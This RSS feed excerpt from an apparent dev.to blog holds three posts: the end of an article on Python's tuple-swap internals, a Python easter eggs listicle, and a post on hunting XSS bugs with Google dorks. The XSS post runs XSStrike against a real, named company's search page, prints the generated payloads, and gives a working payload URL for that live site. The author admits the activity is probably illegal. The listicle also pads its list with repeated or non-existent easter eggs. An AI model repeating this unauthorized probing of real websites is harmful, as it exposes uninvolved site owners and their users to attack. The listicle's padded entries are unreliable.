&lt;p&gt;In terms of efficiency, Python’s tuple swap has a bit more overhead than a low-level swap in C/C++. In CPython, each LOAD_FAST and STORE_FAST involves C-level work (array access, reference counting, etc.) &lt;a href="https://nutshell.pages.dev/blog/python_internal_from_python_to_bytecode_until_c/#:~:text=case%20TARGET%28LOAD_FAST%29%3A%20%7B%20PyObject%20,co_varnames%2C%20oparg%29%29%3B%20goto%20error%3B" rel="noopener noreferrer"&gt;6&lt;/a&gt; &lt;a href="http://droettboom.com/cpython-coverage/llvm-coverage/coverage/home/mdboom/Work/builds/cpython/Python/ceval.c.html#:~:text=,tmp%20%3D%20GETLOCAL%28i%29%3B" rel="noopener noreferrer"&gt;7&lt;/a&gt;. For two variables, Python’s swap uses 2 loads + 1 rotate + 2 stores. That’s a handful of bytecode ops and reference count increments/decrements, all interpreted. By contrast, a C++ swap is a few machine instructions in optimized code. As one answer notes, “C++ would likely be much faster” than CPython’s version because C++ is compiled and optimized &lt;a href="https://stackoverflow.com/questions/51999353/a-b-b-a-in-python-vs-stdswap-in-c#:~:text=,compare%20in%20terms%20of%20speed" rel="noopener noreferrer"&gt;19&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For a concrete sense of scale, a quick microbenchmark on typical hardware shows roughly a 4–5× speed advantage for C++ over CPython for raw variable swaps. For example, doing 10 million swaps of two integers took about &lt;strong&gt;0.18 seconds&lt;/strong&gt; in CPython 3.11 (≈18 ns per swap) versus about &lt;strong&gt;0.04 seconds&lt;/strong&gt; in optimized C++ (≈4 ns per swap) in our test. (Your mileage will vary by machine and Python version, but C/C++ are clearly lower-level and faster.) JavaScript’s destructuring requires allocating a small array each time, so it’s also slower than native C-level swaps (and incurs an array allocation and GC overhead per swap). All these differences mainly come from interpreter overhead, dynamic typing, and memory allocation.&lt;/p&gt;

&lt;p&gt;Memory-wise, for the common 2-variable swap Python doesn’t actually allocate a tuple object (thanks to the ROT_TWO peephole), so it only bumps reference counts on the existing objects. For 3 or fewer, CPython uses no tuple allocation &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=The%20latter%20may%20seem%20like,opcodes%20for%20efficiency" rel="noopener noreferrer"&gt;10&lt;/a&gt;. In JS, swapping &lt;strong&gt;does&lt;/strong&gt; allocate a 2-element array as a temporary &lt;a href="https://stackoverflow.com/questions/75428187/why-array-destructuring-can-swap-two-variables-without-temperory-variable#:~:text=It%20does%20create%20a%20temporary,you%20could%20easily%20introduce%20one" rel="noopener noreferrer"&gt;16&lt;/a&gt; (though it’s usually optimized). In Python, if you ever swapped 4+ variables, a new tuple &lt;em&gt;would&lt;/em&gt; be allocated as we saw. In contrast, C and C++ do their swaps entirely in registers/stack, no heap allocation. So from a memory standpoint, the Python approach is O(1) extra space (for 2-3 items) aside from transient stack slots, while JS destructuring uses a tiny array.&lt;/p&gt;

&lt;p&gt;Compilers and runtimes do optimize these idioms. Python’s peephole optimizer replaces a general tuple build/unpack with ROT_TWO/THREE for 2–3 items &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=The%20latter%20may%20seem%20like,opcodes%20for%20efficiency" rel="noopener noreferrer"&gt;10&lt;/a&gt;. C++ compilers often inline and optimize std::swap. Java compilers/JIT will optimize the simple three-assign swap into the minimal moves. So in practice, each language handles the common swap idiom in the most efficient way it can given its semantics. But across languages, C/C++ will always have the edge in raw speed and minimal overhead, while Python and JavaScript trades a bit of performance for syntactic convenience and flexibility.&lt;/p&gt;

&lt;h3&gt;
  
  
  Parsing and AST Perspective
&lt;/h3&gt;

&lt;p&gt;When Python parses a, b = b, a, it produces an AST Assign node whose target is a Tuple of two names and whose value is a Tuple of two expressions. For example, ast.parse("a, b = b, a") yields something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nc"&gt;Assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;targets&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;Tuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Store&lt;/span&gt;&lt;span class="p"&gt;())],&lt;/span&gt;
  &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Tuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reflects that the parser recognizes the comma-separated lists and builds tuple AST nodes. The parser does &lt;em&gt;not&lt;/em&gt; do the swap at parse time — it merely sets up the tree. All the work happens at runtime during bytecode execution as described above. For novices, it’s helpful to know that the syntax a, b = b, a is just grammar for tuple assignment (the grammar calls the right side an “expression list” and the left side a “target list”) &lt;a href="https://docs.python.org/3/reference/simple_stmts.html#:~:text=An%20assignment%20statement%20evaluates%20the,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;1&lt;/a&gt;. In other words, even though we often say “tuple packing/unpacking,” in code the parentheses can be omitted. The parser effectively treats b, a as if it were (b, a).&lt;/p&gt;

&lt;h3&gt;
  
  
  Intuition and Takeaways
&lt;/h3&gt;

&lt;p&gt;At the end of the day, &lt;strong&gt;a, b = b, a is syntactic sugar for what amounts to a three-step swap&lt;/strong&gt; : evaluate the right-hand tuple, then unpack it into the left variables. No truly “mystical” mechanism is needed beyond understanding tuple assignment. Under the hood, CPython cleverly uses stack operations (LOAD_FAST, ROT_TWO, STORE_FAST) to perform the swap without an extra temp object in the 2-variable case &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=2%20%20%20%20,b" rel="noopener noreferrer"&gt;4&lt;/a&gt; &lt;a href="https://nutshell.pages.dev/blog/python_internal_from_python_to_bytecode_until_c/#:~:text=case%20TARGET%28LOAD_FAST%29%3A%20%7B%20PyObject%20,co_varnames%2C%20oparg%29%29%3B%20goto%20error%3B" rel="noopener noreferrer"&gt;6&lt;/a&gt;. But conceptually, it’s the same idea as manually using a temporary variable.&lt;/p&gt;

&lt;p&gt;Every programmer should internalize this pattern: it’s just multiple assignment. This insight prevents confusion and helps in other contexts (e.g. swapping list elements [i], [j] = [j], [i], or unpacking function results). Remember that Python guarantees right-hand evaluation first and left-to-right assignment &lt;a href="https://docs.python.org/3/reference/simple_stmts.html#:~:text=An%20assignment%20statement%20evaluates%20the,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;1&lt;/a&gt;, so the swap won’t corrupt values. Finally, if you ever peek at Python’s bytecode or C implementation, you’ll see it’s surprisingly straightforward – a few load, swap, and store instructions – not some hidden magic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; Python’s a, b = b, a is simply tuple unpacking with guaranteed order. It’s efficient for 2-3 values due to special bytecode (ROT_TWO/ROT_THREE) &lt;a href="https://docs.python.org/ko/3.5/library/dis.html#:~:text=" rel="noopener noreferrer"&gt;5&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=The%20latter%20may%20seem%20like,opcodes%20for%20efficiency" rel="noopener noreferrer"&gt;10&lt;/a&gt; , but it’s still doing a small sequence of operations (with reference-count overhead) under the hood. In languages like C/C++ or JavaScript, similar swaps either use a temporary or destructure an array. Understanding this at a low level just means realizing it’s a language feature (tuple assignment) backed by obvious VM steps, not a mysterious one-off hack.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sources:
&lt;/h3&gt;

&lt;p&gt;Python’s reference manual and bytecode docs &lt;a href="https://docs.python.org/3/reference/simple_stmts.html#:~:text=An%20assignment%20statement%20evaluates%20the,lists%2C%20from%20left%20to%20right" rel="noopener noreferrer"&gt;1&lt;/a&gt; &lt;a href="https://docs.python.org/ko/3.5/library/dis.html#:~:text=" rel="noopener noreferrer"&gt;5&lt;/a&gt;; CPython bytecode analysis &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally#:~:text=2%20%20%20%20,b" rel="noopener noreferrer"&gt;4&lt;/a&gt; &lt;a href="https://nutshell.pages.dev/blog/python_internal_from_python_to_bytecode_until_c/#:~:text=case%20TARGET%28LOAD_FAST%29%3A%20%7B%20PyObject%20,co_varnames%2C%20oparg%29%29%3B%20goto%20error%3B" rel="noopener noreferrer"&gt;6&lt;/a&gt; &lt;a href="http://droettboom.com/cpython-coverage/llvm-coverage/coverage/home/mdboom/Work/builds/cpython/Python/ceval.c.html#:~:text=,tmp%20%3D%20GETLOCAL%28i%29%3B" rel="noopener noreferrer"&gt;7&lt;/a&gt;; C/C++ swap examples &lt;a href="https://www.geeksforgeeks.org/c-program-swap-two-numbers/#:~:text=C%20" rel="noopener noreferrer"&gt;12&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/25529334/how-does-stdswap-work-in-terms-of-constructors-assignment-operators-and-dest#:~:text=template,temp%3B%20%20%2F%2F%20assign" rel="noopener noreferrer"&gt;13&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/25529334/how-does-stdswap-work-in-terms-of-constructors-assignment-operators-and-dest#:~:text=template,move%20or%20assign" rel="noopener noreferrer"&gt;14&lt;/a&gt;; Java pass-by-value discussion &lt;a href="https://www.digitalocean.com/community/tutorials/java-is-pass-by-value-and-not-pass-by-reference#:~:text=The%20output%20shows%20that%20the,the%20original%20object%20reference%20values" rel="noopener noreferrer"&gt;15&lt;/a&gt;; JS destructuring docs and Q&amp;amp;A &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring#:~:text=Two%20variables%20values%20can%20be,swapped%20in%20one%20destructuring%20expression" rel="noopener noreferrer"&gt;17&lt;/a&gt; &lt;a href="https://stackoverflow.com/questions/75428187/why-array-destructuring-can-swap-two-variables-without-temperory-variable#:~:text=It%20does%20create%20a%20temporary,you%20could%20easily%20introduce%20one" rel="noopener noreferrer"&gt;16&lt;/a&gt;. These illustrate the mechanics in each context.&lt;/p&gt;

&lt;p&gt;[1] &lt;a href="https://docs.python.org/3/reference/simple_stmts.html" rel="noopener noreferrer"&gt;7. Simple statements — Python 3.13.3 documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[2] [4] [8] [10] &lt;a href="https://stackoverflow.com/questions/21047524/how-does-swapping-of-members-in-tuples-a-b-b-a-work-internally" rel="noopener noreferrer"&gt;python - How does swapping of members in tuples (a,b)=(b,a) work internally? - Stack Overflow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[3] &lt;a href="https://stackoverflow.com/questions/39855410/is-python-tuple-assignment-order-fixed" rel="noopener noreferrer"&gt;Is python tuple assignment order fixed? - Stack Overflow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[5] &lt;a href="https://docs.python.org/ko/3.5/library/dis.html" rel="noopener noreferrer"&gt;32.12. dis — Disassembler for Python bytecode — Python 3.5.10 documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[6] &lt;a href="https://nutshell.pages.dev/blog/python_internal_from_python_to_bytecode_until_c/" rel="noopener noreferrer"&gt;[python internal] From Python to Bytecode until C - Nutshell&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[7] &lt;a href="http://droettboom.com/cpython-coverage/llvm-coverage/coverage/home/mdboom/Work/builds/cpython/Python/ceval.c.html" rel="noopener noreferrer"&gt;droettboom.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[9] [11] [19] &lt;a href="https://stackoverflow.com/questions/51999353/a-b-b-a-in-python-vs-stdswap-in-c" rel="noopener noreferrer"&gt;a,b = b,a in python vs std::swap() in C++ - Stack Overflow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[12] &lt;a href="https://www.geeksforgeeks.org/c-program-swap-two-numbers/" rel="noopener noreferrer"&gt;C Program to Swap Two Numbers | GeeksforGeeks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[13] [14] &lt;a href="https://stackoverflow.com/questions/25529334/how-does-stdswap-work-in-terms-of-constructors-assignment-operators-and-dest" rel="noopener noreferrer"&gt;c++ - How does std::swap work in terms of constructors, assignment operators, and destructors?- Stack Overflow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[15] &lt;a href="https://www.digitalocean.com/community/tutorials/java-is-pass-by-value-and-not-pass-by-reference" rel="noopener noreferrer"&gt;Java is Pass by Value, Not Pass by Reference | DigitalOcean&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[16] &lt;a href="https://stackoverflow.com/questions/75428187/why-array-destructuring-can-swap-two-variables-without-temperory-variable" rel="noopener noreferrer"&gt;javascript - why Array Destructuring can swap two variables without temperory variable - Stack Overflow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[17] [18] &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring" rel="noopener noreferrer"&gt;Destructuring - JavaScript | MDN&lt;/a&gt;&lt;/p&gt;




</description>
      <category>learn</category>
      <category>programming</category>
      <category>compilers</category>
      <category>programminglanguages</category>
    </item>
    <item>
      <title>7 (Well, 6) Fun Python Easter Eggs You Didn’t Know About</title>
      <dc:creator>Yehan Wasura</dc:creator>
      <pubDate>Sun, 17 Nov 2024 15:24:27 +0000</pubDate>
      <link>https://dev.to/rezsat/7-well-6-fun-python-easter-eggs-you-didnt-know-about-6dp</link>
      <guid>https://dev.to/rezsat/7-well-6-fun-python-easter-eggs-you-didnt-know-about-6dp</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftkd0o5g0p0r4yomjk5ju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftkd0o5g0p0r4yomjk5ju.png" alt="7 (Well, 6) Fun Python Easter Eggs You Didn’t Know About" width="708" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Python is not just a powerful programming language; it also has a playful side. Hidden within its syntax and libraries are a variety of Easter eggs that can bring a smile to your face or surprise you with their cleverness. Here’s a compilation of 7 { well 6 if you read well :) } delightful Python Easter eggs that you might not be aware of.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The Zen of Python
&lt;/h3&gt;

&lt;p&gt;One of the most famous Easter eggs in Python is "The Zen of Python," which is a collection of guiding principles for writing Python programs. You can access it by typing the following command in a Python interpreter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will display a poem that emphasizes simplicity, readability, and the importance of explicitness in coding.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The Python "import antigravity"
&lt;/h3&gt;

&lt;p&gt;If you want to experience a bit of levity, you can import the antigravity module. This Easter egg is a reference to a classic comic strip from the webcomic "xkcd." To see it, simply run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;antigravity&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will open a web browser and take you to the xkcd comic titled Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The "Hello, World!" in Different Languages
&lt;/h3&gt;

&lt;p&gt;Python has a built-in module that can greet you in a fun and quirky way. You can access it by importing the __hello__ module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;__hello__&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will print Hello world! in a playful manner.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. The "import this" Poem
&lt;/h3&gt;

&lt;p&gt;While we already mentioned "The Zen of Python," it’s worth noting that it’s not just a set of principles; it’s also a clever poem. The lines are witty and insightful, making it a delightful read for any Python enthusiast.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. The "from future import braces"
&lt;/h3&gt;

&lt;p&gt;This is a classic Python joke. If you try to run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;braces&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You’ll receive a SyntaxError with the message "not a chance." This humorous nod underscores Python's commitment to using indentation, not braces, for block delimiters.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. The "import this" with a Twist
&lt;/h3&gt;

&lt;p&gt;If you want to see a slightly different version of "The Zen of Python," you can use the __future__ module to import it in an unconventional way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;print_function&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While this won’t change the output, it’s a fun way to explore the __future__ module.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. The "import phello.foo"
&lt;/h3&gt;

&lt;p&gt;This Easter egg is a playful reference to the "Hello, World!" program. You can access it by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;__phello__.foo&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will print Hello, world! in a quirky way, showcasing Python's sense of humor.&lt;/p&gt;

&lt;p&gt;Python is not just a language for serious programming; it also has a whimsical side that can bring joy to developers. These Easter eggs are a testament to the creativity and humor of the Python community. So the next time you’re coding in Python, take a moment to explore these hidden gems and enjoy the lighter side of programming!&lt;/p&gt;




</description>
      <category>funny</category>
      <category>python</category>
      <category>programmingtips</category>
    </item>
    <item>
      <title>XSS Treasure Hunt: Unearthing Vulnerabilities with Google Dorks — Day 1</title>
      <dc:creator>Yehan Wasura</dc:creator>
      <pubDate>Sun, 31 Mar 2024 21:46:56 +0000</pubDate>
      <link>https://dev.to/rezsat/xss-treasure-hunt-unearthing-vulnerabilities-with-google-dorks-day-1-33cf</link>
      <guid>https://dev.to/rezsat/xss-treasure-hunt-unearthing-vulnerabilities-with-google-dorks-day-1-33cf</guid>
      <description>&lt;h3&gt;
  
  
  XSS Treasure Hunt: Unearthing Vulnerabilities with Google Dorks
&lt;/h3&gt;

&lt;p&gt;Forget the tedious technical jargon; let’s dive straight into the XSS treasure hunt using the magnificent power of Google dorks. Picture this: instead of sweating bullets over bug bounty platforms for hours on end, why not kick back, relax, and let Google dorks do the heavy lifting? After all, who doesn’t love a good ol’ vulnerability scavenger hunt?&lt;/p&gt;

&lt;p&gt;So, armed with curiosity and a cup of coffee, I ventured into the wild realms of the&lt;a href="https://www.exploit-db.com/ghdb" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;a href="https://www.exploit-db.com/google-hacking-database" rel="noopener noreferrer"&gt;Google Hacking Database (GHDB) — Google Dorks, OSINT, Recon (exploit-db.com)&lt;/a&gt;. After a few clicks, I settled on a random gem: “inurl:php?id=1 site:com”&lt;/p&gt;

&lt;p&gt;Now, it’s as simple as googling: inurl:php?id=1 site:com, and voilà! The journey begins.&lt;/p&gt;

&lt;p&gt;I fired up my terminal with XSStrike, ready to unleash chaos upon unsuspecting websites. Of course, not every site that popped up was ripe for the XSS plucking, but that’s all part of the thrill, isn’t it? Persistence pays off, and lo and behold, there it was, nestled among the search results like a hidden gem: &lt;a href="https://www.transpakcorp.com/company.php?id=752" rel="noopener noreferrer"&gt;https://www.transpakcorp.com/company.php?id=752&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With a gleam in my eye and fingers at the ready, I delved into the site and, as expected, stumbled upon the elusive search box. Without hesitation, I unleashed XSStrike upon it, like a modern-day pirate seeking treasure.&lt;/p&gt;

&lt;p&gt;Search Endpoint: &lt;a href="https://www.transpakcorp.com/search.php?q=" rel="noopener noreferrer"&gt;https://www.transpakcorp.com/search.php?q=&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;XSStrike Command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 xsstrike.py — blind &lt;span class="nt"&gt;-u&lt;/span&gt; https://www.transpakcorp.com/search.php?q&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Results on terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
        XSStrike v3.1.5

&lt;span class="o"&gt;[&lt;/span&gt;~] Checking &lt;span class="k"&gt;for &lt;/span&gt;DOM vulnerabilities
&lt;span class="o"&gt;[&lt;/span&gt;+] WAF Status: Offline
&lt;span class="o"&gt;[!]&lt;/span&gt; Testing parameter: q
&lt;span class="o"&gt;[!]&lt;/span&gt; Reflections found: 3
&lt;span class="o"&gt;[&lt;/span&gt;~] Analysing reflections
&lt;span class="o"&gt;[&lt;/span&gt;~] Generating payloads
&lt;span class="o"&gt;[!]&lt;/span&gt; Payloads generated: 9240
&lt;span class="nt"&gt;------------------------------------------------------------&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Payload: &amp;lt;HTml%09oNmOusEOveR%0a&lt;span class="o"&gt;=&lt;/span&gt;%0aconfirm&lt;span class="o"&gt;()&lt;/span&gt;%0dx//
&lt;span class="o"&gt;[!]&lt;/span&gt; Efficiency: 94
&lt;span class="o"&gt;[!]&lt;/span&gt; Confidence: 10
&lt;span class="nt"&gt;------------------------------------------------------------&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Payload: &amp;lt;dETaILs%09ONToGGle%09&lt;span class="o"&gt;=&lt;/span&gt;%09confirm&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; Efficiency: 100
&lt;span class="o"&gt;[!]&lt;/span&gt; Confidence: 10
&lt;span class="o"&gt;[&lt;/span&gt;?] Would you like to &lt;span class="k"&gt;continue &lt;/span&gt;scanning? &lt;span class="o"&gt;[&lt;/span&gt;y/N]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;so, I tried that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://www.transpakcorp.com/search.php?q=%3CdETaILs%09ONToGGle%09=%09confirm()%3E
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuz59n4eg1725n8lghshz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuz59n4eg1725n8lghshz.png" width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Behold, the payload’s handiwork — a tantalizing “details” option.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuiznvtsk4owqdo8jr189.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuiznvtsk4owqdo8jr189.png" width="800" height="382"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Clickety-click, and bam! The confirmation pops up like a surprise party.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And thus, my friends, a tradition is born. Every day, or perhaps every once in a while, I embark on this whimsical journey — not for fame or fortune, but for the sheer joy of the hunt. Sure, it may not line my pockets with gold, and it’s probably not entirely legal (let’s keep that between us, shall we?), but hey, it’s one heck of a warm-up routine.&lt;/p&gt;

&lt;p&gt;So here’s to the thrill-seekers, the curious souls, and the slightly reckless adventurers. May your exploits be daring, your payloads be potent, and your days be filled with wonder and laughter. Cheers to the XSS treasure hunt, and may the odds be ever in our favor. Stay curious, my friends, and remember: always hack responsibly.&lt;/p&gt;




</description>
      <category>justforfun</category>
      <category>xssvulnerability</category>
      <category>hacking</category>
      <category>xssattack</category>
    </item>
  </channel>
</rss>
